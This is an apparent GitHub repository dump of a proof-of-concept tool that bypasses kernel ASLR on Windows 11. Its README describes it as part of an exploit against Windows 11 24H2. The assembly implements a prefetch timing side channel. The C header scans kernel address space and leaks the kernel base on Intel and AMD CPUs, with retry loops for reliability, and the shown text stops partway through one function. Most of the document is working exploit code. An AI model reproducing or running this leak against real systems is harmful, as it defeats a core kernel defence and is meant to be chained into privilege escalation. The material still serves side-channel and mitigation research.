├── .gitignore ├── LICENSE ├── README.md ├── prefetch_tool.sln └── prefetch_tool ├── ntdll.def ├── ntdll.exp ├── ntdll.lib ├── prefetch_asm.asm ├── prefetch_leak.h ├── prefetch_tool.c ├── prefetch_tool.vcxproj └── prefetch_tool.vcxproj.filters /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Gabriel Kirkpatrick 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows KASLR Prefetch Tool 2 | A proof-of-concept tool for bypassing KASLR (kernel ASLR) on Windows 11. Inspired by [EntryBleed](https://www.willsroot.io/2022/12/entrybleed.html) for Linux. 3 | 4 | This tool was developed as part of an [exploit targetting Windows 11 24H2](https://exploits.forsale/24h2-nt-exploit/). I am not a side-channel expert at all, so this was very much new territory for me and the code is very hacky 😳 Help improving reliability for different CPU types would be much appreciated. 5 | 6 | I have done limited testing with the machines at my disposal. I found the techniques I implemented to be quite reliable on modern Intel CPUs, but much less so on AMD. 7 | 8 | ### CPU Support 9 | | CPU | Status | 10 | | ----------- | ----------- | 11 | | Intel | 🟢 Reliable | 12 | | AMD | 🟡 Flaky | -------------------------------------------------------------------------------- /prefetch_tool.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.9.34607.119 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "prefetch_tool", "prefetch_tool\prefetch_tool.vcxproj", "{A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Debug|x64.ActiveCfg = Debug|x64 17 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Debug|x64.Build.0 = Debug|x64 18 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Debug|x86.ActiveCfg = Debug|Win32 19 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Debug|x86.Build.0 = Debug|Win32 20 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Release|x64.ActiveCfg = Release|x64 21 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Release|x64.Build.0 = Release|x64 22 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Release|x86.ActiveCfg = Release|Win32 23 | {A46C9A13-145E-42C0-8CA6-CC920BF1D9F1}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {B502872C-BBCC-4F15-A653-B4533DAC6595} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /prefetch_tool/ntdll.def: -------------------------------------------------------------------------------- 1 | EXPORTS 2 | NtQuerySystemInformation -------------------------------------------------------------------------------- /prefetch_tool/ntdll.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/prefetch-tool/56318bc9f911c6ef5cb64a6f6cc752159dc19617/prefetch_tool/ntdll.exp -------------------------------------------------------------------------------- /prefetch_tool/ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exploits-forsale/prefetch-tool/56318bc9f911c6ef5cb64a6f6cc752159dc19617/prefetch_tool/ntdll.lib -------------------------------------------------------------------------------- /prefetch_tool/prefetch_asm.asm: -------------------------------------------------------------------------------- 1 | ; ----------------------------------------------------------------------------------------------------------- 2 | ; based on entrybleed (https://www.willsroot.io/2022/12/entrybleed.html) 3 | ; adapted to windows by exploits.forsale 4 | ; assembly based on example by Elias Bachaalany http://lallouslab.net 5 | 6 | 7 | ; ----------------------------------------------------------------------------------------------------------- 8 | ; Exported symbols 9 | PUBLIC sidechannel 10 | PUBLIC bad_syscall 11 | 12 | ; ----------------------------------------------------------------------------------------------------------- 13 | ; Text segment 14 | ; ----------------------------------------------------------------------------------------------------------- 15 | _TEXT SEGMENT 16 | 17 | 18 | sidechannel PROC 19 | push rbx 20 | push rsi 21 | push rdi 22 | mov rsi, rcx ; save the address away 23 | 24 | mfence 25 | rdtscp 26 | mov r9, rax 27 | mov r8, rdx 28 | xor rax, rax 29 | lfence 30 | 31 | prefetchnta byte ptr [rsi] 32 | prefetcht2 byte ptr [rsi] 33 | 34 | lfence 35 | rdtscp 36 | mov rdi, rax 37 | mov rsi, rdx 38 | 39 | mfence 40 | 41 | mov rbx, r8 42 | shl rbx, 32 43 | or rbx, r9 44 | 45 | mov rax, rsi 46 | shl rax, 32 47 | or rax, rdi 48 | 49 | sub rax, rbx 50 | pop rdi 51 | pop rsi 52 | pop rbx 53 | ret 54 | sidechannel ENDP 55 | 56 | bad_syscall PROC 57 | mov rax, 99999 58 | syscall 59 | ret 60 | bad_syscall ENDP 61 | 62 | 63 | _TEXT ENDS 64 | 65 | END -------------------------------------------------------------------------------- /prefetch_tool/prefetch_leak.h: -------------------------------------------------------------------------------- 1 | #ifndef _PREFETCH_LEAK_H 2 | #define _PREFETCH_LEAK_H 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | #define KERNEL_LOWER_BOUND 0xfffff80000000000ull 10 | #define KERNEL_UPPER_BOUND 0xfffff80800000000ull 11 | 12 | #define SCAN_START KERNEL_LOWER_BOUND 13 | #define SCAN_END KERNEL_UPPER_BOUND 14 | 15 | //#define KERNEL_SECTIONS 10 16 | #define KERNEL_SECTIONS 0xC 17 | #define DIFF 3 18 | 19 | #define ARR_SIZE (SCAN_END - SCAN_START) / STEP 20 | 21 | #define STEP 0x100000 22 | #define ITERATIONS 0x100 23 | #define DUMMY_ITERATIONS 5 24 | 25 | ULONG verbose = 1; 26 | 27 | void bad_syscall(); 28 | UINT64 sidechannel(PVOID ptr); 29 | 30 | int average_sidechannel(PVOID addr) 31 | { 32 | bad_syscall(); 33 | UINT64 val = sidechannel(addr); 34 | for (int i = 0; i < ITERATIONS; i++) { 35 | val += sidechannel(addr); 36 | } 37 | 38 | return val / (ITERATIONS + 1); 39 | } 40 | 41 | UINT64 address_to_index(UINT64 addr) 42 | { 43 | return (addr - KERNEL_LOWER_BOUND) / STEP; 44 | } 45 | 46 | UINT32 avg = 0; 47 | 48 | BOOL is_below_average(UINT32 val) 49 | { 50 | return (val <= avg - DIFF); 51 | } 52 | 53 | UINT64 leak_kernel_base_amd_mobile() 54 | { 55 | UINT64 data[ARR_SIZE] = { 0 }; 56 | UINT64 candidates[ARR_SIZE] = { 0 }; 57 | 58 | // get the timings for the whole search space 59 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 60 | { 61 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 62 | { 63 | UINT64 test = SCAN_START + idx * STEP; 64 | bad_syscall(); 65 | UINT64 time = sidechannel(test); 66 | if (i >= DUMMY_ITERATIONS) 67 | data[idx] += time; 68 | } 69 | } 70 | 71 | // total everything up for the average 72 | UINT32 total_for_avg = 0; 73 | for (UINT64 i = 0; i < ARR_SIZE; i++) 74 | { 75 | data[i] /= ITERATIONS; 76 | total_for_avg += data[i]; 77 | } 78 | 79 | // calculate the average 80 | UINT32 arr_size = ARR_SIZE; 81 | avg = total_for_avg / arr_size; 82 | 83 | // get rid of outrageous ones 84 | for (UINT64 i = 0; i < ARR_SIZE; i++) 85 | { 86 | if (data[i] > (avg * 4)) 87 | { 88 | data[i] = avg; 89 | } 90 | if (verbose > 1) 91 | { 92 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 93 | } 94 | } 95 | 96 | if (verbose) 97 | { 98 | printf("avg for all: %i\n", avg); 99 | } 100 | 101 | int avg_signed = avg; 102 | // search for the kernel mapping 103 | for (UINT64 i = 0; i < ARR_SIZE - KERNEL_SECTIONS; i++) 104 | { 105 | UINT32 cur_avg = 0; 106 | for (UINT64 x = 0; x < KERNEL_SECTIONS; x++) 107 | { 108 | int cur_signed = data[i + x]; 109 | int deviation = abs(cur_signed - avg); 110 | // if any of the values are below the average then bail 111 | if (deviation < avg / 8) 112 | { 113 | cur_avg = 0; 114 | break; 115 | } 116 | cur_avg = 1; 117 | } 118 | 119 | // if this region is above the average we have a hit 120 | if (cur_avg) 121 | { 122 | return KERNEL_LOWER_BOUND + (i * STEP); 123 | } 124 | } 125 | 126 | // failed to find anything 127 | return 0; 128 | } 129 | 130 | 131 | UINT64 leak_kernel_base_amd_mobile_reliable() 132 | { 133 | UINT64 prev_leak = leak_kernel_base_amd_mobile(); 134 | UINT64 kernel_base = 0; 135 | while (1) 136 | { 137 | UINT64 cur_leak = leak_kernel_base_amd_mobile(); 138 | if (cur_leak == 0) { 139 | printf("leak failed, trying again...\n"); 140 | continue; 141 | } 142 | if (cur_leak == prev_leak) 143 | { 144 | kernel_base = cur_leak; 145 | break; 146 | } 147 | 148 | printf("Kernel base leaks don't match (prev: %p cur: %p), retrying...\n", prev_leak, cur_leak); 149 | prev_leak = cur_leak; 150 | } 151 | 152 | return kernel_base; 153 | } 154 | 155 | 156 | 157 | UINT64 leak_kernel_base_amd() 158 | { 159 | UINT64 data[ARR_SIZE] = { 0 }; 160 | UINT64 candidates[ARR_SIZE] = { 0 }; 161 | 162 | // get the timings for the whole search space 163 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 164 | { 165 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 166 | { 167 | UINT64 test = SCAN_START + idx * STEP; 168 | bad_syscall(); 169 | UINT64 time = sidechannel((PVOID)test); 170 | if (i >= DUMMY_ITERATIONS) 171 | data[idx] += time; 172 | } 173 | } 174 | 175 | // total everything up for the average 176 | UINT32 total_for_avg = 0; 177 | for (UINT64 i = 0; i < ARR_SIZE; i++) 178 | { 179 | data[i] /= ITERATIONS; 180 | total_for_avg += data[i]; 181 | } 182 | 183 | // calculate the average 184 | UINT32 arr_size = ARR_SIZE; 185 | avg = total_for_avg / arr_size; 186 | 187 | // get rid of outrageous ones 188 | for (UINT64 i = 0; i < ARR_SIZE; i++) 189 | { 190 | if (data[i] > (avg * 4)) 191 | { 192 | data[i] = avg; 193 | } 194 | if (verbose > 1) 195 | { 196 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 197 | } 198 | } 199 | 200 | if (verbose) 201 | { 202 | printf("avg for all: %i\n", avg); 203 | } 204 | 205 | 206 | // search for the kernel mapping 207 | for (UINT64 i = 0; i < ARR_SIZE - KERNEL_SECTIONS; i++) 208 | { 209 | UINT32 cur_avg = 0; 210 | for (UINT64 x = 0; x < KERNEL_SECTIONS; x++) 211 | { 212 | // if any of the values are below the average then bail 213 | if (data[i + x] <= avg) 214 | { 215 | cur_avg = 0; 216 | break; 217 | } 218 | printf("possible: %p %i\n", KERNEL_LOWER_BOUND + ((i + x) * STEP), data[i + x]); 219 | cur_avg += data[i + x]; 220 | } 221 | 222 | // if this region is above the average we have a hit 223 | cur_avg /= KERNEL_SECTIONS; 224 | if (cur_avg > avg) 225 | { 226 | return KERNEL_LOWER_BOUND + (i * STEP); 227 | } 228 | } 229 | 230 | // failed to find anything 231 | return 0; 232 | } 233 | 234 | // repeatedly try to leak the kernel base on amd. once two in a row match it will return 235 | UINT64 leak_kernel_base_amd_reliable() 236 | { 237 | UINT64 prev_leak = leak_kernel_base_amd(); 238 | UINT64 kernel_base = 0; 239 | while (1) 240 | { 241 | UINT64 cur_leak = leak_kernel_base_amd(); 242 | if (cur_leak == 0) { 243 | printf("leak failed, trying again...\n"); 244 | continue; 245 | } 246 | if (cur_leak == prev_leak) 247 | { 248 | kernel_base = cur_leak; 249 | break; 250 | } 251 | 252 | printf("Kernel base leaks don't match (prev: %p cur: %p), retrying...\n", prev_leak, cur_leak); 253 | prev_leak = cur_leak; 254 | } 255 | 256 | return kernel_base; 257 | } 258 | 259 | UINT64 most_frequent(UINT64* arr, int n) 260 | { 261 | UINT64 maxcount = 0; 262 | UINT64 element_having_max_freq = 0; 263 | for (int i = 0; i < n; i++) { 264 | UINT64 count = 0; 265 | for (int j = 0; j < n; j++) { 266 | if (arr[i] == arr[j]) 267 | count++; 268 | } 269 | 270 | if (count > maxcount) { 271 | maxcount = count; 272 | element_having_max_freq = arr[i]; 273 | } 274 | } 275 | 276 | return element_having_max_freq; 277 | } 278 | 279 | // single attempt of finding the kernel base on intel N200 280 | UINT64 leak_kernel_base_intel_n200() 281 | { 282 | avg = 0; 283 | 284 | ULONG x = 0; 285 | 286 | 287 | UINT64 data[ARR_SIZE] = { 0 }; 288 | UINT64 candidates[ARR_SIZE] = { 0 }; 289 | UINT64 min = ~0, addr = ~0; 290 | UINT64 max = 0; 291 | 292 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 293 | { 294 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 295 | { 296 | UINT64 test = SCAN_START + idx * STEP; 297 | bad_syscall(); 298 | UINT64 time = sidechannel((PVOID)test); 299 | if (i >= DUMMY_ITERATIONS) 300 | data[idx] += time; 301 | } 302 | } 303 | 304 | // total everything up for the average 305 | UINT32 total_for_avg = 0; 306 | for (UINT64 i = 0; i < ARR_SIZE; i++) 307 | { 308 | data[i] /= ITERATIONS; 309 | total_for_avg += data[i]; 310 | } 311 | 312 | // calculate the average 313 | UINT32 arr_size = ARR_SIZE; 314 | avg = total_for_avg / arr_size; 315 | 316 | // get rid of outrageous ones 317 | for (UINT64 i = 0; i < ARR_SIZE; i++) 318 | { 319 | if (i == 0) 320 | { 321 | continue; 322 | } 323 | 324 | // force down to avg 325 | if (data[i] > (avg)) 326 | { 327 | data[i] = avg; 328 | } 329 | if (verbose > 1) 330 | { 331 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 332 | } 333 | } 334 | 335 | if (verbose) 336 | { 337 | printf("avg for all: %i\n", avg); 338 | } 339 | 340 | UINT32 thresh_1 = avg / 3; 341 | 342 | UINT64 kernel_base = 0; 343 | 344 | for (UINT64 i = 0; i < ARR_SIZE - 2; i++) 345 | { 346 | UINT32 cur_avg = 0; 347 | if (data[i] < avg - (avg / thresh_1) && 348 | data[i + 1] < avg - (avg / thresh_1)) 349 | { 350 | return (KERNEL_LOWER_BOUND + ((i - 9) * STEP)); 351 | } 352 | } 353 | return kernel_base; 354 | } 355 | 356 | UINT64 leak_kernel_base_intel_n200_reliable() 357 | { 358 | UINT64 prev_leak = leak_kernel_base_intel_n200(); 359 | UINT64 kernel_base = 0; 360 | while (1) 361 | { 362 | UINT64 cur_leak = leak_kernel_base_intel_n200(); 363 | if (cur_leak == 0) { 364 | printf("leak failed, trying again...\n"); 365 | continue; 366 | } 367 | if (cur_leak == prev_leak) 368 | { 369 | kernel_base = cur_leak; 370 | break; 371 | } 372 | 373 | 374 | printf("Kernel base leaks don't match (prev: %p cur: %p), retrying...\n", prev_leak, cur_leak); 375 | prev_leak = cur_leak; 376 | } 377 | 378 | return kernel_base; 379 | } 380 | 381 | // single attempt of finding the kernel base on intel 382 | UINT64 leak_kernel_base_intel() 383 | { 384 | avg = 0; 385 | 386 | ULONG x = 0; 387 | 388 | 389 | UINT64 data[ARR_SIZE] = { 0 }; 390 | UINT64 candidates[ARR_SIZE] = { 0 }; 391 | UINT64 min = ~0, addr = ~0; 392 | UINT64 max = 0; 393 | 394 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 395 | { 396 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 397 | { 398 | UINT64 test = SCAN_START + idx * STEP; 399 | bad_syscall(); 400 | UINT64 time = sidechannel((PVOID)test); 401 | if (i >= DUMMY_ITERATIONS) 402 | data[idx] += time; 403 | } 404 | } 405 | UINT32 total_for_avg = 0; 406 | 407 | for (UINT64 i = 0; i < ARR_SIZE; i++) 408 | { 409 | data[i] /= ITERATIONS; 410 | } 411 | 412 | 413 | // on intel we use the most frequently occcuring timing 414 | UINT32 arr_size = ARR_SIZE; 415 | avg = most_frequent(data, ARR_SIZE); 416 | 417 | 418 | // get rid of outrageous ones 419 | for (UINT64 i = 0; i < ARR_SIZE; i++) 420 | { 421 | if (i == 0) 422 | { 423 | continue; 424 | } 425 | 426 | // force down to avg 427 | if (data[i] > (avg)) 428 | { 429 | data[i] = avg; 430 | } 431 | if (verbose > 1) 432 | { 433 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 434 | } 435 | } 436 | 437 | if (verbose) 438 | { 439 | printf("avg for all: %i\n", avg); 440 | } 441 | 442 | UINT32 thresh_1 = avg / 10; 443 | UINT32 thresh_2 = avg / 30; 444 | 445 | UINT64 kernel_base = 0; 446 | 447 | for (UINT64 i = 0; i < ARR_SIZE - KERNEL_SECTIONS; i++) 448 | { 449 | UINT32 cur_avg = 0; 450 | for (UINT64 x = 0; x < KERNEL_SECTIONS; x++) 451 | { 452 | // dont fluxuate wildly... 453 | if (data[i + x] >= avg - thresh_2) 454 | { 455 | cur_avg = 0xFFFFFFFF; 456 | break; 457 | } 458 | cur_avg += data[i + x]; 459 | } 460 | if (cur_avg == 0xFFFFFFFF) 461 | { 462 | continue; 463 | } 464 | cur_avg /= KERNEL_SECTIONS; 465 | if (verbose) { 466 | printf("%p cur_avg: %i\n", (KERNEL_LOWER_BOUND + (i * STEP)), cur_avg); 467 | } 468 | if (cur_avg < (avg - thresh_1)) // we might need a threshold again for intel... 469 | { 470 | return KERNEL_LOWER_BOUND + (i * STEP); 471 | } 472 | } 473 | return kernel_base; 474 | } 475 | 476 | 477 | UINT64 leak_kernel_base_intel_old() 478 | { 479 | ULONG x = 0; 480 | 481 | UINT64 data[ARR_SIZE] = { 0 }; 482 | UINT64 min = ~0, addr = ~0; 483 | 484 | for (UINT64 i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) 485 | { 486 | for (UINT64 idx = 0; idx < ARR_SIZE; idx++) 487 | { 488 | UINT64 test = SCAN_START + idx * STEP; 489 | bad_syscall(); 490 | UINT64 time = sidechannel((PVOID)test); 491 | if (i >= DUMMY_ITERATIONS) 492 | data[idx] += time; 493 | } 494 | } 495 | UINT32 total_for_avg = 0; 496 | 497 | for (UINT64 i = 0; i < ARR_SIZE; i++) 498 | { 499 | data[i] /= ITERATIONS; 500 | if (data[i] < min) 501 | { 502 | min = data[i]; 503 | addr = SCAN_START + (i * STEP); 504 | } 505 | total_for_avg += data[i]; 506 | //printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 507 | if (verbose) 508 | { 509 | printf("%llx %ld\n", (KERNEL_LOWER_BOUND + (i * STEP)), data[i]); 510 | } 511 | } 